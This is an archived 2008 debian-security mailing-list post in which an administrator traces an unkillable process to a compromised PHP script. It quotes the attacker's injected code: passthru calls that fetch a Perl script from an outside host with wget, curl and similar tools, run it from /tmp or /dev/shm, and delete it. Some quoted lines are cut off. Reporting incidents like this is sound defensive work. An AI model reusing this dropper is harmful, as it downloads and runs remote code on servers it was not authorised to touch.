|
|||||||||||
|
Re: ping22: can not kill this process
From: Mike Wang <comritesecurity(at)gmail.com>
Date: Thu Jan 03 2008 - 18:18:31 EST
I found the issue, it is one of the php script allowing the remote script to run. and the remote script is something like: <?php passthru('cd /tmp;wget http://www.radiovirtual.org/bb.txt;perl bb.txt;rm -f bb.txt*');
passthru('cd /tmp;curl -o bb.txt
passthru('cd /tmp;lwp-download
passthru('cd /tmp;lynx -source http://www.radiovirtual.org/bb.txt > bb.txt;perl bb.txt;rm -f bb.txt*'); passthru('cd /tmp;fetch http://www.radiovirtual.org/bb.txt > bb.txt;perl bb.txt;rm -f bb.txt*'); passthru('cd /tmp;GET http://www.radiovirtual.org/bb.txt > bb.txt;perl bb.txt;rm -f bb.txt*'); passthru('cd /dev/shm;wget http://www.radiovirtual.org/bb.txt;perl bb.txt;rm -f bb.txt*');
passthru('cd /dev/shm;curl -o bb.txt
passthru('cd /dev/shm;lwp-download
passthru('cd /dev/shm;lynx -source http://www.radiovirtual.org/bb.txt passthru('cd /dev/shm;fetch http://www.radiovirtual.org/bb.txt > bb.txt;perl bb.txt;rm -f bb.txt*'); passthru('cd /dev/shm;GET http://www.radiovirtual.org/bb.txt > bb.txt;perl bb.txt;rm -f bb.txt*'); passthru('id'); ?> the /tmp was mounted as rw,noexec,nosuid, so it cannot run. but not the /dev/shm, so the hacked script downloaded to /dev/shm, and run from there.
what kind applications are using /dev/shm? I googled
around,seem not find much information.
Best Regards Mike -- To UNSUBSCRIBE, email to debian-security-REQUEST@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.orgReceived on Thu Jan 3 18:19:15 2008 This archive was generated by hypermail 2.1.8 : Wed Mar 19 2008 - 06:54:52 EDT |
||||||||||
|
|||||||||||